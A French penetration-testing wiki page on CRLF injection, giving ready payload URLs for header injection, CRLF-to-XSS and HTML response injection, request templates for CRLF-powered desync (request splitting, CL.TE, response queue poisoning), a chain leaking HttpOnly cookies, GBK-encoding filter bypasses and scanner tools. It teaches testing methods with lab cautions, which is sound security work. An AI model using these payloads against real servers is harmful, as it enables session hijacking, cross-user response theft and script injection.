> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/crlf.md).

# CRLF

Le terme CRLF fait référence à **Retour** chariot ( CR, \r ) et **Saut** de ligne ( LF, \n ). Ils sont utilisés pour noter la terminaison d'une ligne, cependant, ils sont traités différemment dans les systèmes d'exploitation populaires d'aujourd'hui. Par exemple : sous Windows, un CR et un LF sont requis pour noter la fin d'une ligne, alors que sous Linux/UNIX, un LF est uniquement requis. Dans le protocole HTTP, la séquence CR-LF est toujours utilisée pour terminer une ligne.

## Contexte

Pour cette vulnérabilité, imaginons une requête donnant une réponse telle que:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/location/path/here
X-Frame-Options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Vérification de la vulnérabilité

Dans un premier temps, nous allons vérifier si il est possible de faire une simple injection CRLF dans l'url avec le payload `%0D%0A` (possibilité de tester des payloads plus avancés pour être certain).

URL:

```
https://exemple.com/%0D%0ASet-Cookie:mycookie=S1rN3tZ    
```

Si l'injection fonctionne, alors nous aurons le résultat suivant:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie: mycookie=S1rN3tZ  //Le cookie a bien été ajouté
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Injections Avancées

Il est alors possible de combiner cette injection sans impacte avec d'autres pour augmenter l'impact de celle-ci.

### CRLF to XSS

URL:

```
https://exemple.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

Résultat:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Content-Lenght: 35
X-XSS-Protection: 0

<svg onload=alert(document.domain)>
```

### CRLF injection + HTML injection

URL:

```
https://exemple.com/%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3ECRLF%20FOUND%20HERE%3C/html%3E
```

Réponse:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>CRLF FOUND HERE</html>
```

{% hint style="info" %}
Essayer sur HTTPS et HTTP
{% endhint %}

### CRLF-Powered Desync Attacks

#### Sources

{% embed url="<https://turtlesec.io/blog/posts/crlf-powered-desync-attacks/>" %}

{% embed url="<https://portswigger.net/research/crlf-powered-desync-attacks>" %}

Une injection CRLF dans une **requête transmise à un serveur amont** peut modifier sa structure HTTP. `%0d%0a` représente `\r\n`, la fin d'une ligne HTTP. `%0d%0a%0d%0a` marque la fin des en-têtes. Si le proxy accepte une URL encodée puis transmet sa version décodée sans neutraliser ces octets, une valeur contrôlée par le client devient une ligne d'en-tête, voire le début d'une autre requête.

L'exemple étudié est une configuration Nginx qui réutilise `$uri` dans `proxy_pass` :

```nginx
location / {
    proxy_pass http://backend$uri;  # Exemple de configuration vulnérable
}
```

`$uri` est un chemin normalisé. Dans cette configuration, les octets encodés du chemin peuvent se retrouver décodés dans la requête HTTP/1.1 construite vers le backend. La recherche couvre aussi d'autres points d'insertion :&#x20;

* en-tête amont personnalisé,&#x20;
* cookie,&#x20;
* en-tête de **réponse**.

Il faut donc identifier *où* aboutit l'entrée contrôlée avant d'interpréter un résultat.

```
Client                 Proxy / CDN                    Backend
  | URL avec %0d%0a       |                              |
  |---------------------->| normalise et reconstruit     |
  |                       | une requête HTTP/1.1         |
  |                       |----------------------------->|
  |                       |   nouvelle ligne d'en-tête   |
  |                       |   ou seconde requête         |
```

Le **desync** apparaît quand les composants ne comptent plus les mêmes requêtes ou ne s'accordent plus sur leur longueur. Un code de réponse inhabituel ne suffit pas à prouver un desync : il peut seulement montrer qu'une syntaxe invalide a atteint le backend.

#### **1.** Détection

**1.1. Repérer les points d'insertion**

Examiner les chemins transmis par le reverse proxy, les réécritures d'URL, les valeurs recopiées dans des en-têtes amont (`X-Original-URL`, par exemple), les cookies et les paramètres susceptibles d'être réinjectés dans la ligne de requête.&#x20;

Dans un audit de configuration, rechercher spécialement `$uri` ou `$document_uri` employés dans `proxy_pass` et `return`, ainsi que les variables issues de regex qui acceptent des espaces ou des retours à la ligne. Ce sont des **indices**, pas une preuve de vulnérabilité à eux seuls.

**1.2. Vérifier l'injection de ligne sans toucher à d'autres utilisateurs**

Comparer une requête témoin à une requête contenant un seul saut de ligne encodé. Une ligne HTTP volontairement invalide fournit un signal reproductible :

```http
GET /%20HTTP/13.37%0d%0aX-Probe:%20canary HTTP/1.1
Host: app.example.test
```

Exemples de probes:

* Si le backend voit `GET / HTTP/13.37`, il peut répondre `505 HTTP Version Not Supported`.&#x20;
* `Transfer-Encoding: x` peut donner `501,`
* `Expect: asdf` peut donner `417`.&#x20;

{% hint style="info" %}
Le code exact dépend du serveur, il faut comparer les réponses avec un témoin et vérifier que le changement vient bien de la requête amont et non d'une règle WAF. Un `400`, un délai ou une fermeture de connexion, pris isolément, restent ambigus.
{% endhint %}

Lorsque l'on dispose des journaux ou d'un backend de laboratoire, la preuve la plus nette est la **requête reconstruite** : y voit-on un en-tête supplémentaire, sa valeur et sa position ? Cela permet de distinguer une injection dans la ligne de requête d'une injection dans un en-tête comme `X-Original-URL`.

**1.3. Classer le comportement avant de poursuivre**

| Observation contrôlée                                            | Interprétation possible                   | Vérification complémentaire                                                          |
| ---------------------------------------------------------------- | ----------------------------------------- | ------------------------------------------------------------------------------------ |
| Un en-tête ajouté change la réponse du backend                   | Injection de requête confirmée            | Observer la requête amont ou répéter avec plusieurs en-têtes témoins                 |
| `%0d%0a%0d%0a` produit deux traitements                          | *Request splitting* possible              | Vérifier deux réponses ou deux entrées dans les journaux, sur un chemin témoin       |
| Un `Transfer-Encoding: chunked` injecté provoque un délai        | Candidat CL.TE                            | Vérifier les longueurs exactes et une seconde requête témoin, sur connexion isolée   |
| Une réponse secondaire apparaît uniquement sur la même connexion | *Tunnelling* ou desync lié à la connexion | Tester l'association requête/réponse ; ne pas conclure à un impact interutilisateurs |
| Le résultat dépend de l'adresse IP source                        | Desync lié à l'IP possible                | Confirmer avec des clients de test distincts, sous contrôle                          |

Les outils publiés par les auteurs facilitent le repérage, mais leurs résultats restent à valider manuellement : [extension Burp](https://github.com/t0xodile/crlf-powered-desync-scanner) et [templates Nuclei, ressources et laboratoires TurtleSec](https://github.com/turtlesec-software/crlf-desyncs). Le scanner Burp compare des requêtes témoins et sondes, cherche notamment des réponses attendues et tente de limiter les faux positifs dus aux WAF.

#### **2.** Exploitation

**2.1. Deux CRLF consécutifs :&#x20;*****request splitting***

Si deux fins de ligne peuvent être injectées, le backend peut considérer que la première requête est terminée et lire les octets suivants comme une seconde requête :

```http
GET /%20HTTP/1.1%0d%0aHost:%20app.example.test%0d%0a%0d%0aGET%20/canary%20HTTP/1.1%0d%0aX:%20x HTTP/1.1
Host: app.example.test
```

Vue conceptuelle après décodage et reconstruction par un proxy vulnérable :

```http
GET / HTTP/1.1
Host: app.example.test

GET /canary HTTP/1.1
X: x HTTP/1.1
Host: app.example.test
```

Le suffixe `X: x` absorbe la fin de la ligne de requête d'origine et aide à maintenir une seconde requête syntaxiquement acceptable. Dans un laboratoire, compter les requêtes reçues par le backend et les réponses reçues par le client. Si le proxy attend une réponse mais que le backend en produit deux, la file des réponses peut se décaler : c'est le **response queue poisoning** (RQP). Sur une connexion amont partagée, des réponses peuvent alors être associées au mauvais client. La recherche rapporte ce comportement dans une infrastructure CDN. Il ne faut toutefois pas inférer un impact interutilisateurs à partir d'un simple double traitement local.

**2.2. Un seul en-tête injectable : CL.TE**

Certains systèmes refusent la ligne vide nécessaire au *request splitting* mais acceptent l'ajout d'un en-tête. Injecter `Transfer-Encoding: chunked` peut alors créer un désaccord avec le `Content-Length` que le frontend utilise déjà :

```http
POST /%20HTTP/1.1%0d%0aTransfer-Encoding:%20chunked%0d%0aX:%20x HTTP/1.1
Host: app.example.test
Content-Length: <longueur exacte du corps transmis>

0

GET /canary HTTP/1.1
Host: app.example.test
X: x
```

Ce bloc est **schématique** : les lignes sont séparées par `\r\n` sur le réseau et `Content-Length` doit compter exactement les octets du corps. Le frontend peut consommer le corps selon `Content-Length` tandis que le backend termine le corps au chunk `0\r\n\r\n`. Les octets restants sont alors susceptibles de former une nouvelle requête. Le délai de la sonde CL.TE constitue un indicateur, puis une requête témoin permet de vérifier la désynchronisation de cadrage. La variante `0.CL` est aussi étudiée, avec d'autres contraintes d'exploitation.

Ressource:

{% content-ref url="/pages/NSJmDb2XmseDPrbZVOX9" %}
[HTTP Smuggling](https://blog.s1rn3tz.ovh/pentest-web/http-smuggling.md)
{% endcontent-ref %}

**2.3. Mesurer le type réel de désynchronisation**

Avant d'évaluer l'impact, distinguer trois cas :

| Cas                                 | Portée observée                                                         | Conséquence technique                                                                             |
| ----------------------------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| File de réponses partagée           | Plusieurs clients peuvent recevoir des réponses déplacées               | RQP et risque interutilisateurs                                                                   |
| *Request tunnelling*                | La requête cachée est traitée mais la connexion n'est pas partagée      | Contournement possible de contrôles du frontend, sans preuve de RQP                               |
| Desync lié à la connexion ou à l'IP | Effet limité à une connexion cliente ou à des clients partageant une IP | L'impact dépend du trajet réseau et de la capacité à faire émettre les requêtes par un navigateur |

Pour le *tunnelling* aveugle, les auteurs montrent qu'un `Expect: 100-continue` peut rendre visible une réponse secondaire dans certaines configurations Nginx. Cela aide à démontrer un accès à une route filtrée au frontend, même quand les connexions ne sont pas partagées. Le comportement reste spécifique à la chaîne de proxys testée.

#### 3. Chaining : transformer la primitive en impact

Le chaînage dépend du composant qui traite les octets injectés, de la réutilisation des connexions et de la manière dont le navigateur reçoit les réponses. Les scénarios ci-dessous sont des **possibilités conditionnelles**, pas des conséquences automatiques de toute injection CRLF.

**3.1. Resquest Queue Poisoning (RQP) → réponse d'un autre client**

Si une requête injectée ajoute une réponse sur une connexion amont utilisée par plusieurs clients, le frontend peut remettre à un client une réponse destinée à un autre.&#x20;

Une démonstration maîtrisée utilise deux comptes et des marqueurs sans données sensibles : générer une réponse témoin distincte pour chaque compte, puis vérifier si l'un reçoit le marqueur de l'autre. La publication décrit une fuite de réponses et de jetons dans un CDN et d'autres infrastructures, mais une injection d'en-tête seule ne démontre pas cette portée.

**3.2. Désynchronisation → confusion de réponse → XSS**

La recherche utilise notamment la **technique HEAD** : un composant annonce une longueur de réponse, tandis qu'un autre ne transmet pas le corps associé à `HEAD`. Selon le cadrage des réponses suivantes, des octets d'une autre réponse peuvent être lus au mauvais endroit et former un document HTML contenant une valeur réfléchie.&#x20;

{% hint style="info" %}
L'en-tête `Range` permet, sur certains endpoints, d'ajuster la taille annoncée et de rendre l'alignement exploitable.&#x20;

Pour parvenir à une XSS, il faut vérifier le `Content-Type`, le contexte HTML, l'exécution dans l'origine visée et l'absence de simple empilement de réponses ignoré par le navigateur.
{% endhint %}

**3.3. Navigateur victime → desync lié à la connexion ou à l'IP**

Une URL contenant des caractères encodés peut parfois être envoyée par la méthode `fetch()`, une navigation ou une iframe.

&#x20;Le proxy vulnérable effectue ensuite le décodage dangereux. L'exécution depuis le navigateur de la victime change le contexte :&#x20;

* ses connexions,&#x20;
* son adresse IP publique&#x20;
* ses cookies (selon les règles du navigateur)

Les auteurs exploitent ainsi des variantes liées à une connexion ou à une IP, qui auraient eu une portée limitée depuis leur propre client.&#x20;

{% hint style="warning" %}
La réussite dépend de la version HTTP réellement employée, de la réutilisation de connexion, des restrictions du navigateur et du comportement des cookies. Elle doit être constatée, jamais supposée.
{% endhint %}

**3.4. XSS → lecture d'une réponse contenant `Set-Cookie`**

`HttpOnly` empêche JavaScript de lire le cookie via `document.cookie`. Dans le cas décrit par les auteurs, le chaînage `HEAD` et plusieurs réponses placent toutefois **le texte d'un en-tête `Set-Cookie` dans le corps HTML** que le script peut lire.&#x20;

{% hint style="info" %}
La protection `HttpOnly` n'est pas désactivée : c'est le déplacement de l'en-tête vers un contenu lisible qui crée la fuite. Il faut une réponse qui renouvelle le cookie, un cadrage précis et une XSS sur la bonne origine.
{% endhint %}

**3.5. XSS → nouveau desync : scénario de « ver »**

Si le script injecté peut déclencher à son tour la requête CRLF depuis le navigateur atteint, il peut reproduire le desync sur d'autres connexions ou utilisateurs.&#x20;

Cette chaîne requiert simultanément une primitive compatible avec le navigateur, un gadget XSS exploitable et une voie de propagation des réponses. La recherche présente ce « desync worm » comme une chaîne possible, pas comme une propriété intrinsèque du *request splitting*.

**3.6. Branche distincte : injection CRLF dans la réponse**

Quand l'entrée est insérée dans un **en-tête de réponse**, les effets diffèrent du request smuggling. Un `Set-Cookie` injecté peut imposer au navigateur une session contrôlée par l'attaquant (vulnérabilité de *cookie tossing*).&#x20;

Une ligne vide peut faire passer des octets contrôlés dans le corps de la réponse. La XSS dépend alors, entre autres, du suivi d'une éventuelle redirection et du type de contenu.&#x20;

Les auteurs parlent aussi de « reverse desync », dont l'exploitation classique est souvent bloquée parce que les navigateurs et frontend rejettent les réponses empilées. Ne pas mélanger cette branche avec les preuves d'une injection dans la requête amont.

## Payloads

{% content-ref url="/pages/NSq71IcrcW1bROS3J5wh" %}
[Charges utiles](https://blog.s1rn3tz.ovh/pentest-web/charges-utiles.md)
{% endcontent-ref %}

## Bypass

### GBK encoding

* %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<)

## Outils

### crlfuzz

crlfuzz est un scanner de vulnérabilités CRLF.

Exemple d'utilisation:

*`$ crlfuzz -u "https://target.com"`*

ressource: <https://github.com/dwisiswant0/crlfuzz>

### crlf-desync

Liste d'outils de détection et d'exploitation de CRLF-based desync.

resources:

* <https://github.com/turtlesec-software/crlf-desyncs>
* <https://github.com/t0xodile/crlf-powered-desync-scanner>

## Ressource

<https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922>
